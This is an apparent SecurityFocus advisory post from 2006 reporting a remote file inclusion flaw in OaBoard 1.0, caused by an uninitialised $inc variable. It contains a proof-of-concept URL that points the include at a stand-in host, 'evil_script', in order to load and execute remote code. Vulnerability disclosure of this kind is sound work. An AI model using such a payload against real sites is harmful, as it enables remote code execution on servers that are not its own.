Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
OaBoard 1.0 Remote File inclusion May 30 2006 08:20AM
hessamx hessamx net
OaBoard version 1.x have remote file inclusion .

Variables $inc isn't initialized in the include()

http://host/oaboard/forum.php?inc=http://evil_script/

Hessam-x (www.hessamx.net)
...

[ more ]  
 

Privacy Statement
Copyright 2010, SecurityFocus